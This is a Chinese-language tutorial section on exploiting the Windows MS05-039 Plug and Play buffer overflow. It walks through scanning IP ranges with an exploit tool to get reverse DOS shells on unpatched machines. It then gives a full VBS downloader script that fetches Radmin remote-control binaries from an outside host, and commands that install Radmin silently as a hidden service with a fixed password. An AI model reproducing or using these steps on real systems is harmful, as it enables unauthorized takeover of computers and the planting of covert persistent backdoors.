2.7 MS05-039漏洞利用实战
MS05-039漏洞是一个危害极高的漏洞,在未安装补丁程序的计算机上溢出成功率极高,虽然该漏洞出现的时间已经很长了,但在一些内网系统中由于未对Windows 2000、Windows XP及Windows Server 2003安装补丁,所以可以直接溢出获取系统权限。
下面通过一个案例来介绍如何扫描MS05-039漏洞,通过反弹的DOSShell对存在漏洞的计算机实施控制。在本案例中主要通过执行vbs下载脚本并安装Radmin远程控制程序来实施控制。
2.7.1 MS05-039漏洞简介
1.MS05-039漏洞
MS05-039漏洞最初由www.ISS.net的Neel Mehta发现,CVE候选编号为CAN-2005-1983。Windows的即插即用(PnP)功能允许操作系统在安装新硬件时检测这些设备。由于该功能中存在缓冲区溢出漏洞,因此成功利用这个漏洞的攻击者可以完全控制受影响的系统。该漏洞的起因是PnP服务处理含有过多数据的畸形消息的方式。在Windows 2000上,匿名用户可以通过发送特制消息来利用这个漏洞;在Windows XP Service Pack 1上,只有通过认证的用户才能发送恶意消息;在Windows XP Service Pack 2和Windows Server 2003上,攻击者必须从本地登录系统,然后运行特制的应用程序才能利用这个漏洞。
2.受影响的系统
· Windows 2000 Service Pack 4
· Windows XP Service Pack 1/Service Pack 2
· Windows XP Professional x64
· Windows Server 2003; Windows Server 2003 Service Pack 1
· Windows Server 2003 for Itanium-based Systems; Windows Server 2003 with SP1 for Itanium-based Systems
· Windows Server 2003 x64
3.对应的bug库
· BUGTRAQ ID: 14513
· CVE(CAN) ID: CVE-2005-1983
2.7.2 实战MS05-039漏洞利用
1.设置MS05-039漏洞利用程序
在MS05-039漏洞利用程序中分别设置扫描起始IP地址和结束IP地址,其他设置项可采用默认值,如图2-56所示。
图2-56 设置MS05-039漏洞利用程序
2.扫描存在MS05-039漏洞的计算机
单击“Scan”按钮进行扫描,在扫描过程中,一些状态会在窗口右下方显示,当扫描到存在溢出漏洞的计算机后,会反弹一个独立IP地址的DOSShell并以Telnet的方式显示,如图2-57所示。
图2-57 扫描MS05-039漏洞
3.查看扫描结果
扫描结束后,会显示开放了445端口的地址,这些地址中有一部分是存在漏洞的计算机。在本例中,外网扫描没有发现反弹Shell,对某一个计算机网络的内网进行扫描,得到了一些结果,如图2-58所示。不过,目前存在MS05-039漏洞的计算机相当少,该漏洞一般存在于不具备网络条件且没有安装补丁程序的内网计算机中。
图2-58 扫描结果
4.实施控制
将以下vbs脚本复制并粘贴到反弹的DOSShell中。脚本执行完毕,将Radmin的3个程序r_server.exe、raddrv.dll、admdrv.dll下载到系统目录中。
echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft. xmlhttp") >>dl.vbe echo web.open "get", .arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile. arguments(1),2:end with >>dl.vbe cscript dl.vbe http://www.somesite.com/AdmDll.dll AdmDll.dll cscript dl.vbe http://www.somesite.com/raddrv.dll raddrv.dll cscript dl.vbe http://www.somesite.com/r_server.exe r_server.exe
5.在DOS环境下安装Radmin
在其反弹DOSShell中分别执行以下命令。
netstat -an |find "4899" net stop r_server r_server.exe /pass:test123456 /port:4899 /save /silence r_server.exe /install /silence net start r_server net start r_server netstat -an |find "4899"
说明
以上命令以安静模式安装R_server,其端口为4899,密码为“test123456”。在以上批命令中,“net start r_server”命令的目的是确保R_server服务启动,有时执行1次“net start r_server”不能启动其服务,所以在批命令中需要执行2次。
6.远程连接Radmin
在Radmin中新建一个连接,输入IP地址和默认端口4899。双击其IP地址进行连接,在连接时输入密码,密码验证正确后,进入Telnet控制端。